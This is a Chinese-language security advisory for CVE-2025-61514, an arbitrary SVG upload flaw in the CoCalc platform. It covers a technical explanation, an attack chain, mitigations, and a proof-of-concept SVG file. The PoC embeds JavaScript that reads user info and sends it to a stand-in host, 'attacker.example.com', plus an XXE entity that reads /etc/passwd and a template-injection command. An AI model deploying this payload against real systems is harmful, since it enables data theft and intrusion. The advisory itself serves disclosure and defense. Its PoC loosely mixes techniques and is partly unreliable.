IPBUF安全漏洞报告
English
CVE-2025-61514 CVSS 6.5 中危

CVE-2025-61514:CoCalc任意文件上传导致远程代码执行漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61514
漏洞类型
任意文件上传 / 远程代码执行
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SageMath, Inc CoCalc

相关标签

任意文件上传远程代码执行SVG注入XSSXXECoCalcSageMath中危漏洞CVE-2025-61514协作计算平台

漏洞概述

CVE-2025-61514是SageMath公司开发的CoCalc协作计算平台中存在的一个任意文件上传漏洞。该漏洞存在于commit 0d2ff58之前的CoCalc版本中,攻击者可以通过上传精心构造的SVG文件来执行任意代码。CoCalc是一个基于云的协作计算平台,集成了SageMath、Jupyter、LaTeX等多种数学和科学计算工具,广泛应用于学术研究、数学教学和数据分析领域。由于该平台支持多种文件格式的上传和管理,攻击者利用SVG文件中可嵌入JavaScript代码的特性,绕过了文件类型验证机制,从而实现服务器端的代码执行。该漏洞的CVSS 3.1评分为6.5分,属于中危级别,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需认证(PR:N),无需用户交互(UI:N),对机密性和完整性有低影响,对可用性无影响。该漏洞的修复通过commit 0d2ff58完成,该提交增加了对上传文件类型的安全验证机制。鉴于CoCalc平台的用户群体主要为学术和研究机构,且该漏洞无需认证即可利用,因此该漏洞对相关用户的数据安全和系统安全构成了实质性威胁。

技术细节

该漏洞的核心原理在于CoCalc平台对SVG文件的上传验证机制存在缺陷。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,与传统的位图格式不同,SVG文件本质上是一个XML文档,可以包含JavaScript脚本代码、HTML元素以及外部资源引用。当用户上传SVG文件时,如果服务器端仅通过文件扩展名(.svg)进行类型判断,而没有对文件内容进行深度检查和脚本代码过滤,攻击者就可以构造一个包含恶意JavaScript代码的SVG文件。该SVG文件中的JavaScript代码会在文件被预览或渲染时执行,从而实现客户端攻击。更严重的是,如果CoCalc服务器在处理SVG文件时使用了存在漏洞的库或配置不当的服务端渲染功能,恶意代码可能在服务器端执行,导致远程代码执行(RCE)。攻击者通过精心构造包含服务器端脚本标签或利用XML外部实体(XXE)注入的SVG文件,可以绕过安全检查,实现对服务器的控制。修复方案(commit 0d2ff58)通过增强文件上传验证机制,包括对SVG文件内容的严格检查、禁用SVG中的脚本执行、以及实施更严格的MIME类型验证来修复此漏洞。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者识别运行CoCalc的服务器实例,确认目标版本低于commit 0d2ff58(即存在漏洞的版本)。
STEP 2
步骤2:构造恶意SVG文件
攻击者创建一个精心构造的SVG文件,其中嵌入恶意JavaScript代码或利用XXE(XML外部实体)注入payload,以实现客户端或服务端代码执行。
STEP 3
步骤3:上传恶意文件
攻击者通过CoCalc的文件上传功能(无需认证或使用获取的凭证)上传恶意SVG文件,绕过文件类型验证机制。
STEP 4
步骤4:触发代码执行
当其他用户或系统进程预览/渲染该SVG文件时,嵌入的恶意代码被执行,攻击者获得敏感信息访问权限或服务器端控制权。
STEP 5
步骤5:权限提升与持久化
利用获得的初始访问权限,攻击者进一步渗透系统,提取敏感数据,安装后门,实现持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-61514 PoC: Malicious SVG file for arbitrary code execution --> <!-- Upload this file to CoCalc to trigger the vulnerability --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <!-- Embedded JavaScript for client-side execution --> <script type="application/ecmascript"> <![CDATA[ // Exfiltrate data or perform malicious actions var xhr = new XMLHttpRequest(); xhr.open("GET", "/api/v1/user/info", true); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { // Send stolen data to attacker's server var img = new Image(); img.src = "https://attacker.example.com/steal?data=" + btoa(xhr.responseText); } }; xhr.send(); // Attempt server-side template injection via SVG metadata var payload = "{{system('id > /tmp/pwned')}}"; var meta = document.createElement("metadata"); meta.textContent = payload; document.documentElement.appendChild(meta); ]]> </script> <!-- XXE payload for potential server-side exploitation --> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <text x="10" y="50" font-size="14">&xxe;</text> <!-- Visual content to make the file appear legitimate --> <rect x="0" y="0" width="200" height="200" fill="lightblue"/> <circle cx="100" cy="100" r="50" fill="red"/> <text x="60" y="105" font-size="16" fill="white">POC</text> </svg>

影响范围

SageMath CoCalc < commit 0d2ff58

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用CoCalc平台的文件上传功能,或限制仅允许可信用户上传文件;2)在Web服务器或反向代理层面添加规则,拒绝包含<script>标签或JavaScript代码的SVG文件上传;3)将SVG文件的Content-Type设置为application/octet-stream而非image/svg+xml,强制浏览器下载而非渲染;4)在浏览器端部署严格的CSP策略,禁止内联脚本执行;5)监控文件上传日志,及时发现异常上传行为;6)对已上传的SVG文件进行批量扫描,识别并删除恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表